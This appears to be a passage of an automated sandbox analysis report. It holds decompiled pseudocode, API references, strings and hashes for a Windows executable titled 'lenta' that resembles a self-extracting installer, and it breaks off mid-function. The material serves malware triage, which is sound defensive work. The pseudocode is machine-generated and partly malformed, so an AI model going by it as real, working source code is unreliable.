0x00f82e86
0x00f82e88
0x00f82e88
0x00f82e43
0x00f82e48
0x00000000
0x00f82e48
0x00f82e30
0x00f82e30
0x00f82ef8
0x00f82f01
0x00000000
0x00f82f01
0x00f82d8a
0x00f82d8f
0x00f82da1
0x00000000
0x00f82da3
0x00f82dae
0x00f82db4
0x00f82dbb
0x00000000
0x00f82dca
0x00f82dd3
0x00f82df5
0x00f82e02
0x00000000
0x00000000
0x00000000
0x00000000
0x00f82dd5
0x00f82dde
0x00f82de3
0x00f82e04
0x00f82e0a
0x00f82e10
0x00000000
0x00f82e10
0x00f82dd3
0x00f82dbb
0x00f82da1
0x00f82d5b
0x00f82d5b
0x00f82d5d
0x00f82d69
0x00f82d6e
0x00f82f06
0x00f82f06
0x00f82f06
0x00f82d59
0x00f82f18

APIs

memset.MSVCRT ref: 00F82CD9
memset.MSVCRT ref: 00F82CE9
memset.MSVCRT ref: 00F82CF9

Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
Part of subcall function 00F8468F: SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
Part of subcall function 00F8468F: LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
Part of subcall function 00F8468F: LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
Part of subcall function 00F8468F: memcpy_s.MSVCRT ref: 00F846E5
Part of subcall function 00F8468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F82D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 00F82D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00F82DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 00F82DBD
CloseHandle.KERNEL32(lenta,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00F82E0A

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F84554

Strings

TITLE, xrefs: 00F82D09
lenta, xrefs: 00F82D04, 00F82DD9, 00F82DF0
EXTRACTOPT, xrefs: 00F82D4D
VERCHECK, xrefs: 00F82E54
INSTANCECHECK, xrefs: 00F82D95

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$lenta
API String ID: 1002816675-2993962200
Opcode ID: e705f01ac90e53be520f81ce3d93735e12645956cab5f89d571dda1197a88dce
Instruction ID: 22b4253e4d21e9eb6680ff6a7cc74673e86b1f5ffc43ae79a84b2645473fc7d4
Opcode Fuzzy Hash: e705f01ac90e53be520f81ce3d93735e12645956cab5f89d571dda1197a88dce
Instruction Fuzzy Hash: 07510870B443056BEBA4BB708C4ABFB3699EB45760F444029FA41D51D1DBB8EC42FB26

Uniqueness

Uniqueness Score: -1.00%

Function 00F834F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00F834F0(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t9;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t23;
				void* _t25;
				struct HWND__* _t35;
				struct HWND__* _t38;
				void* _t39;

				_t9 = _a8 - 0x10;
				if(_t9 == 0) {
					__eflags = 1;
					L19:
					_push(0);
					 *0xf891d8 = 1;
					L20:
					_push(_a4);
					L21:
					EndDialog();
					L22:
					return 1;
				}
				_push(1);
				_pop(1);
				_t12 = _t9 - 0xf2;
				if(_t12 == 0) {
					__eflags = _a12 - 0x1b;
					if(_a12 != 0x1b) {
						goto L22;
					}
					goto L19;
				}
				_t13 = _t12 - 0xe;
				if(_t13 == 0) {
					_t35 = _a4;
					 *0xf88584 = _t35;
					E00F843D0(_t35, GetDesktopWindow());
					__eflags =  *0xf88184; // 0x1
					if(__eflags != 0) {
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x464, 0, 0xbb9);
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x465, 0xffffffff, 0xffff0000);
					}
					SetWindowTextA(_t35, "lenta");
					_t17 = CreateThread(0, 0, E00F84FE0, 0, 0, 0xf88798);
					 *0xf8879c = _t17;
					__eflags = _t17;
					if(_t17 != 0) {
						goto L22;
					} else {
						E00F844B9(_t35, 0x4b8, 0, 0, 0x10, 0);
						_push(0);
						_push(_t35);
						goto L21;
					}
				}
				_t23 = _t13 - 1;
				if(_t23 == 0) {
					__eflags = _a12 - 2;
					if(_a12 != 2) {
						goto L22;
					}
					ResetEvent( *0xf8858c);
					_t38 =  *0xf88584; // 0x0
					_t25 = E00F844B9(_t38, 0x4b2, 0xf81140, 0, 0x20, 4);
					__eflags = _t25 - 6;
					if(_t25 == 6) {
						L11:
						 *0xf891d8 = 1;
						SetEvent( *0xf8858c);
						_t39 =  *0xf8879c; // 0x0
						E00F83680(_t39);
						_push(0);
						goto L20;
					}
					__eflags = _t25 - 1;
					if(_t25 == 1) {
						goto L11;
					}
					SetEvent( *0xf8858c);
					goto L22;
				}
				if(_t23 == 0xe90) {
					TerminateThread( *0xf8879c, 0);
					EndDialog(_a4, _a12);
					return 1;
				}
				return 0;
			}

0x00f834fb
0x00f834fe
0x00f83665
0x00f83666
0x00f83666
0x00f83668
0x00f8366e
0x00f8366e
0x00f83671
0x00f83671
0x00f83677
0x00000000
0x00f83677
0x00f83504
0x00f83506
0x00f83507
0x00f8350c
0x00f8365b
0x00f8365f
0x00000000
0x00000000
0x00000000
0x00f83661
0x00f83512
0x00f83515
0x00f835be
0x00f835c1
0x00f835d1
0x00f835d8
0x00f835de
0x00f835f8
0x00f83617
0x00f83617
0x00f83623
0x00f83637
0x00f8363d
0x00f83642
0x00f83644
0x00000000
0x00f83646
0x00f83652
0x00f83657
0x00f83658
0x00000000
0x00f83658
0x00f83644
0x00f8351b
0x00f8351d
0x00f8354f
0x00f83553
0x00000000
0x00000000
0x00f8355f
0x00f83565
0x00f8357c
0x00f83581
0x00f83584
0x00f8359b
0x00f835a1
0x00f835a7
0x00f835ad
0x00f835b3
0x00f835b8
0x00000000
0x00f835b8
0x00f83586
0x00f83588
0x00000000
0x00000000
0x00f83590
0x00000000
0x00f83590
0x00f83524
0x00f83535
0x00f83541
0x00000000
0x00f83549
0x00000000

APIs

TerminateThread.KERNEL32(00000000), ref: 00F83535
EndDialog.USER32(?,?), ref: 00F83541
ResetEvent.KERNEL32 ref: 00F8355F
SetEvent.KERNEL32(00F81140,00000000,00000020,00000004), ref: 00F83590
GetDesktopWindow.USER32 ref: 00F835C7
GetDlgItem.USER32(?,0000083B), ref: 00F835F1
SendMessageA.USER32(00000000), ref: 00F835F8
GetDlgItem.USER32(?,0000083B), ref: 00F83610
SendMessageA.USER32(00000000), ref: 00F83617
SetWindowTextA.USER32(?,lenta), ref: 00F83623
CreateThread.KERNEL32 ref: 00F83637
EndDialog.USER32(?,00000000), ref: 00F83671

Strings

lenta, xrefs: 00F8361D

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: lenta
API String ID: 2406144884-2780258678
Opcode ID: 143d2f7c301bdbb6a853edd7221c4851ea7bacf22c30148594a65a50a5dad725
Instruction ID: 7e12baad91acfb759934f752b89e7ee5f16aa0d595d99d976a4aff6c22161b37
Opcode Fuzzy Hash: 143d2f7c301bdbb6a853edd7221c4851ea7bacf22c30148594a65a50a5dad725
Instruction Fuzzy Hash: 6431E431240209BBEB206F28EC4DFFB3A68E785F60F54451AF602952B0DB799911FF51

Uniqueness

Uniqueness Score: -1.00%

Function 00F84224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00F84224(char __ecx) {
				char* _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				_Unknown_base(*)()* _v20;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t32;
				char _t42;
				char* _t44;
				char* _t61;
				void* _t63;
				char* _t65;
				struct HINSTANCE__* _t66;
				char _t67;
				void* _t71;
				char _t76;
				intOrPtr _t85;

				_t67 = __ecx;
				_t66 = LoadLibraryA("SHELL32.DLL");
				if(_t66 == 0) {
					_t63 = 0x4c2;
					L22:
					E00F844B9(_t67, _t63, 0, 0, 0x10, 0);
					return 0;
				}
				_t26 = GetProcAddress(_t66, "SHBrowseForFolder");
				_v12 = _t26;
				if(_t26 == 0) {
					L20:
					FreeLibrary(_t66);
					_t63 = 0x4c1;
					goto L22;
				}
				_t28 = GetProcAddress(_t66, 0xc3);
				_v20 = _t28;
				if(_t28 == 0) {
					goto L20;
				}
				_t29 = GetProcAddress(_t66, "SHGetPathFromIDList");
				_v16 = _t29;
				if(_t29 == 0) {
					goto L20;
				}
				_t76 =  *0xf888c0; // 0x0
				if(_t76 != 0) {
					L10:
					 *0xf887a0 = 0;
					_v52 = _t67;
					_v48 = 0;
					_v44 = 0;
					_v40 = 0xf88598;
					_v36 = 1;
					_v32 = E00F84200;
					_v28 = 0xf888c0;
					 *0xf8a288( &_v52);
					_t32 =  *_v12();
					if(_t71 != _t71) {
						asm("int 0x29");
					}
					_v12 = _t32;
					if(_t32 != 0) {
						 *0xf8a288(_t32, 0xf888c0);
						 *_v16();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
						if( *0xf888c0 != 0) {
							E00F81680(0xf887a0, 0x104, 0xf888c0);
						}
						 *0xf8a288(_v12);
						 *_v20();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
					}
					FreeLibrary(_t66);
					_t85 =  *0xf887a0; // 0x0
					return 0 | _t85 != 0x00000000;
				} else {
					GetTempPathA(0x104, 0xf888c0);
					_t61 = 0xf888c0;
					_t4 =  &(_t61[1]); // 0xf888c1
					_t65 = _t4;
					do {
						_t42 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t42 != 0);
					_t5 = _t61 - _t65 + 0xf888c0; // 0x1f11181
					_t44 = CharPrevA(0xf888c0, _t5);
					_v8 = _t44;
					if( *_t44 == 0x5c &&  *(CharPrevA(0xf888c0, _t44)) != 0x3a) {
						 *_v8 = 0;
					}
					goto L10;
				}
			}

0x00f84234
0x00f8423c
0x00f84240
0x00f843b2
0x00f843b7
0x00f843c0
0x00000000
0x00f843c5
0x00f8424c
0x00f84252
0x00f84257
0x00f843a4
0x00f843a5
0x00f843ab
0x00000000
0x00f843ab
0x00f84263
0x00f84269
0x00f8426e
0x00000000
0x00000000
0x00f8427a
0x00f84280
0x00f84285
0x00000000
0x00000000
0x00f8428d
0x00f84293
0x00f842e6
0x00f842e9
0x00f842ef
0x00f842f4
0x00f842f7
0x00f84300
0x00f84307
0x00f8430e
0x00f84315
0x00f8431c
0x00f84322
0x00f84326
0x00f8432d
0x00f8432d
0x00f8432f
0x00f84334
0x00f84343
0x00f84349
0x00f8434d
0x00f84354
0x00f84354
0x00f8435d
0x00f8436e
0x00f8436e
0x00f8437d
0x00f84383
0x00f84387
0x00f8438e
0x00f8438e
0x00f84387
0x00f84391
0x00f84399
0x00000000
0x00f84295
0x00f8429f
0x00f842a5
0x00f842aa
0x00f842aa
0x00f842ad
0x00f842ad
0x00f842af
0x00f842b0
0x00f842b6
0x00f842c2
0x00f842c8
0x00f842ce
0x00f842e4
0x00f842e4
0x00000000
0x00f842ce

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 00F84236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 00F8424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 00F84263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 00F8427A
GetTempPathA.KERNEL32(00000104,00F888C0,?,00000001), ref: 00F8429F
CharPrevA.USER32(00F888C0,01F11181,?,00000001), ref: 00F842C2
CharPrevA.USER32(00F888C0,00000000,?,00000001), ref: 00F842D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00F84391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00F843A5

Strings

SHBrowseForFolder, xrefs: 00F84246
SHGetPathFromIDList, xrefs: 00F84274
SHELL32.DLL, xrefs: 00F8422F

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 0eacf8bf50bc63da9ad49b1c11122efc1d6f9787a3bd8862e687e37578675a1a
Instruction ID: ec36900929a26ce360494d6b4fc3a72e5880a3a9b9a6894ef68a5fa7c200beba
Opcode Fuzzy Hash: 0eacf8bf50bc63da9ad49b1c11122efc1d6f9787a3bd8862e687e37578675a1a
Instruction Fuzzy Hash: BB41E374E00209AFE711BF64DC89AFE7BB5EB45394F84016AE941A7251CB749C02FB62

Uniqueness

Uniqueness Score: -1.00%

Function 00F844B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F844B9(struct HWND__* __ecx, int __edx, intOrPtr* _a4, void* _a8, int _a12, signed int _a16) {
				signed int _v8;
				char _v64;
				char _v576;
				void* _v580;
				struct HWND__* _v584;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				void* _t37;
				signed int _t39;
				intOrPtr _t43;
				signed int _t44;
				signed int _t49;
				signed int _t52;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				int _t64;
				void* _t66;
				intOrPtr* _t67;
				signed int _t69;
				intOrPtr* _t73;
				intOrPtr* _t76;
				intOrPtr* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr* _t84;
				void* _t85;
				signed int _t89;

				_t75 = __edx;
				_t34 =  *0xf88004; // 0x644c7055
				_v8 = _t34 ^ _t89;
				_v584 = __ecx;
				_t83 = "LoadString() Error.  Could not load string resource.";
				_t67 = _a4;
				_t69 = 0xd;
				_t37 = memcpy( &_v64, _t83, _t69 << 2);
				_t80 = _t83 + _t69 + _t69;
				_v580 = _t37;
				asm("movsb");
				if(( *0xf88a38 & 0x00000001) != 0) {
					_t39 = 1;
				} else {
					_v576 = 0;
					LoadStringA( *0xf89a3c, _t75,  &_v576, 0x200);
					if(_v576 != 0) {
						_t73 =  &_v576;
						_t16 = _t73 + 1; // 0x1
						_t75 = _t16;
						do {
							_t43 =  *_t73;
							_t73 = _t73 + 1;
						} while (_t43 != 0);
						_t84 = _v580;
						_t74 = _t73 - _t75;
						if(_t84 == 0) {
							if(_t67 == 0) {
								_t27 = _t74 + 1; // 0x2
								_t83 = _t27;
								_t44 = LocalAlloc(0x40, _t83);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									_t75 = _t83;
									_t74 = _t80;
									E00F81680(_t80, _t83,  &_v576);
									goto L23;
								}
							} else {
								_t76 = _t67;
								_t24 = _t76 + 1; // 0x1
								_t85 = _t24;
								do {
									_t55 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t55 != 0);
								_t25 = _t76 - _t85 + 0x64; // 0x65
								_t83 = _t25 + _t74;
								_t44 = LocalAlloc(0x40, _t25 + _t74);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									E00F8171E(_t80, _t83,  &_v576, _t67);
									goto L23;
								}
							}
						} else {
							_t77 = _t67;
							_t18 = _t77 + 1; // 0x1
							_t81 = _t18;
							do {
								_t58 =  *_t77;
								_t77 = _t77 + 1;
							} while (_t58 != 0);
							_t75 = _t77 - _t81;
							_t82 = _t84 + 1;
							do {
								_t59 =  *_t84;
								_t84 = _t84 + 1;
							} while (_t59 != 0);
							_t21 = _t74 + 0x64; // 0x65
							_t83 = _t21 + _t84 - _t82 + _t75;
							_t44 = LocalAlloc(0x40, _t21 + _t84 - _t82 + _t75);
							_t80 = _t44;
							if(_t80 == 0) {
								goto L6;
							} else {
								_push(_v580);
								E00F8171E(_t80, _t83,  &_v576, _t67);
								L23:
								MessageBeep(_a12);
								if(E00F8681F(_t67) == 0) {
									L25:
									_t49 = 0x10000;
								} else {
									_t54 = E00F867C9(_t74, _t74);
									_t49 = 0x190000;
									if(_t54 == 0) {
										goto L25;
									}
								}
								_t52 = MessageBoxA(_v584, _t80, "lenta", _t49 | _a12 | _a16);
								_t83 = _t52;
								LocalFree(_t80);
								_t39 = _t52;
							}
						}
					} else {
						if(E00F8681F(_t67) == 0) {
							L4:
							_t64 = 0x10010;
						} else {
							_t66 = E00F867C9(0, 0);
							_t64 = 0x190010;
							if(_t66 == 0) {
								goto L4;
							}
						}
						_t44 = MessageBoxA(_v584,  &_v64, "lenta", _t64);
						L6:
						_t39 = _t44 | 0xffffffff;
					}
				}
				return E00F86CE0(_t39, _t67, _v8 ^ _t89, _t75, _t80, _t83);
			}

0x00f844b9
0x00f844c4
0x00f844cb
0x00f844d8
0x00f844e4
0x00f844eb
0x00f844ee
0x00f844ef
0x00f844ef
0x00f844f1
0x00f844f7
0x00f844f8
0x00f8467b
0x00f844fe
0x00f84509
0x00f84518
0x00f84525
0x00f84562
0x00f84568
0x00f84568
0x00f8456b
0x00f8456b
0x00f8456d
0x00f8456e
0x00f84572
0x00f84578
0x00f8457c
0x00f845cb
0x00f84607
0x00f84607
0x00f8460d
0x00f84613
0x00f84617
0x00000000
0x00f8461d
0x00f84623
0x00f84626
0x00f84628
0x00000000
0x00f84628
0x00f845cd
0x00f845cd
0x00f845cf
0x00f845cf
0x00f845d2
0x00f845d2
0x00f845d4
0x00f845d5
0x00f845db
0x00f845de
0x00f845e3
0x00f845e9
0x00f845ed
0x00000000
0x00f845f3
0x00f845fd
0x00000000
0x00f84602
0x00f845ed
0x00f8457e
0x00f8457e
0x00f84580
0x00f84580
0x00f84583
0x00f84583
0x00f84585
0x00f84586
0x00f8458a
0x00f8458c
0x00f8458f
0x00f8458f
0x00f84591
0x00f84592
0x00f8459b
0x00f8459e
0x00f845a3
0x00f845a9
0x00f845ad
0x00000000
0x00f845af
0x00f845af
0x00f845bf
0x00f8462d
0x00f84630
0x00f8463d
0x00f8464e
0x00f8464e
0x00f8463f
0x00f84640
0x00f84647
0x00f8464c
0x00000000
0x00000000
0x00f8464c
0x00f84666
0x00f8466d
0x00f8466f
0x00f84675
0x00f84675
0x00f845ad
0x00f84527
0x00f8452e
0x00f8453f
0x00f8453f
0x00f84530
0x00f84531
0x00f84538
0x00f8453d
0x00000000
0x00000000
0x00f8453d
0x00f84554
0x00f8455a
0x00f8455a
0x00f8455a
0x00f84525
0x00f8468c

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F84554
LocalAlloc.KERNEL32(00000040,00000065), ref: 00F845A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 00F845E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 00F8460D
MessageBeep.USER32(00000000), ref: 00F84630
MessageBoxA.USER32(?,00000000,lenta,00000000), ref: 00F84666
LocalFree.KERNEL32(00000000), ref: 00F8466F

Part of subcall function 00F8681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 00F8686E
Part of subcall function 00F8681F: GetSystemMetrics.USER32(0000004A), ref: 00F868A7
Part of subcall function 00F8681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 00F868CC
Part of subcall function 00F8681F: RegQueryValueExA.ADVAPI32(?,00F81140,00000000,?,?,0000000C), ref: 00F868F4
Part of subcall function 00F8681F: RegCloseKey.ADVAPI32(?), ref: 00F86902

Strings

lenta, xrefs: 00F84545, 00F8465A
LoadString() Error. Could not load string resource., xrefs: 00F844E4

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$lenta
API String ID: 3244514340-1000497449
Opcode ID: 6ad797bd7f6d40c874bd8c71284e7d7ba99b3600f182d4c742b71b20641f3bbd
Instruction ID: 9940a1fe6dbcc3c7c6772c9ea612413275d77c66b0fe11ba803d35112cee2737
Opcode Fuzzy Hash: 6ad797bd7f6d40c874bd8c71284e7d7ba99b3600f182d4c742b71b20641f3bbd
Instruction Fuzzy Hash: ED51F67290021AABDB21BF28CC48BFABB69EF45310F144195FD19A7241DB75ED05EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F82773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F82773(CHAR* __ecx, char* _a4) {
				signed int _v8;
				char _v268;
				char _v269;
				CHAR* _v276;
				int _v280;
				void* _v284;
				int _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				intOrPtr _t34;
				int _t45;
				int* _t50;
				CHAR* _t52;
				CHAR* _t61;
				char* _t62;
				int _t63;
				CHAR* _t64;
				signed int _t65;

				_t52 = __ecx;
				_t23 =  *0xf88004; // 0x644c7055
				_v8 = _t23 ^ _t65;
				_t62 = _a4;
				_t50 = 0;
				_t61 = __ecx;
				_v276 = _t62;
				 *((char*)(__ecx)) = 0;
				if( *_t62 != 0x23) {
					_t63 = 0x104;
					goto L14;
				} else {
					_t64 = _t62 + 1;
					_v269 = CharUpperA( *_t64);
					_v276 = CharNextA(CharNextA(_t64));
					_t63 = 0x104;
					_t34 = _v269;
					if(_t34 == 0x53) {
						L14:
						GetSystemDirectoryA(_t61, _t63);
						goto L15;
					} else {
						if(_t34 == 0x57) {
							GetWindowsDirectoryA(_t61, 0x104);
							goto L16;
						} else {
							_push(_t52);
							_v288 = 0x104;
							E00F81781( &_v268, 0x104, _t52, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths");
							_t59 = 0x104;
							E00F8658A( &_v268, 0x104, _v276);
							if(RegOpenKeyExA(0x80000002,  &_v268, 0, 0x20019,  &_v284) != 0) {
								L16:
								_t59 = _t63;
								E00F8658A(_t61, _t63, _v276);
							} else {
								if(RegQueryValueExA(_v284, 0xf81140, 0,  &_v280, _t61,  &_v288) == 0) {
									_t45 = _v280;
									if(_t45 != 2) {
										L9:
										if(_t45 == 1) {
											goto L10;
										}
									} else {
										if(ExpandEnvironmentStringsA(_t61,  &_v268, 0x104) == 0) {
											_t45 = _v280;
											goto L9;
										} else {
											_t59 = 0x104;
											E00F81680(_t61, 0x104,  &_v268);
											L10:
											_t50 = 1;
										}
									}
								}
								RegCloseKey(_v284);
								L15:
								if(_t50 == 0) {
									goto L16;
								}
							}
						}
					}
				}
				return E00F86CE0(1, _t50, _v8 ^ _t65, _t59, _t61, _t63);
			}

0x00f82773
0x00f8277e
0x00f82785
0x00f8278a
0x00f8278d
0x00f82790
0x00f82792
0x00f82798
0x00f8279d
0x00f828b2
0x00000000
0x00f827a3
0x00f827a3
0x00f827af
0x00f827c2
0x00f827c8
0x00f827cd
0x00f827d5
0x00f828b7
0x00f828b9
0x00000000
0x00f827db
0x00f827dd
0x00f828aa
0x00000000
0x00f827e3
0x00f827e3
0x00f827ec
0x00f827f8
0x00f82803
0x00f8280b
0x00f82831
0x00f828c3
0x00f828c9
0x00f828cd
0x00f82837
0x00f8285a
0x00f8285c
0x00f82865
0x00f82892
0x00f82895
0x00000000
0x00000000
0x00f82867
0x00f82878
0x00f8288c
0x00000000
0x00f8287a
0x00f82880
0x00f82885
0x00f82897
0x00f82899
0x00f82899
0x00f82878
0x00f82865
0x00f828a0
0x00f828bf
0x00f828c1
0x00000000
0x00000000
0x00f828c1
0x00f82831
0x00f827dd
0x00f827d5
0x00f828e5

APIs

CharUpperA.USER32(644C7055,00000000,00000000,00000000), ref: 00F827A8
CharNextA.USER32(0000054D), ref: 00F827B5
CharNextA.USER32(00000000), ref: 00F827BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F82829
RegQueryValueExA.ADVAPI32(?,00F81140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F82852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F82870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F828A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 00F828AA
GetSystemDirectoryA.KERNEL32 ref: 00F828B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 00F827E4

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: af52a5f68144c05ae8cb9eca2e5313ec7edcc7ee12002e194ddcf87f74c8484e
Instruction ID: d7b0e3628f32fb5107f536d484f53446f5a43f7ea33ba94c891ab12707549c1b
Opcode Fuzzy Hash: af52a5f68144c05ae8cb9eca2e5313ec7edcc7ee12002e194ddcf87f74c8484e
Instruction Fuzzy Hash: 5F41A571E0012CAFEF64AB649C45AFE77BDEB15710F0440AAF545D2100DB749E86AFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F82267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88
registryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00F82267() {
				signed int _v8;
				char _v268;
				char _v836;
				void* _v840;
				int _v844;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t33;
				void* _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				signed int _t51;

				_t19 =  *0xf88004; // 0x644c7055
				_t20 = _t19 ^ _t51;
